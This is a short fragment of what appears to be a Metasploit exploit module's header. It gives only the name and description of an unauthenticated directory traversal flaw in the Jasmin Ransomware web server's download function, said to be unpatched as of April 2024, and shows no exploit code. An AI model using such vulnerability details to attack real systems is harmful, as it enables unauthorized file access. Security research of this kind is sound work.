'Name' => 'Jasmin Ransomware Web Server Unauthenticated Directory Traversal',  
'Description' => %q{  
The Jasmin Ransomware web server contains an unauthenticated directory traversal vulnerability  
within the download functionality. As of April 15, 2024 this was still unpatched, so all  
versions are vulnerable. The last patch was in 2021, so it will likely not ever be patched.
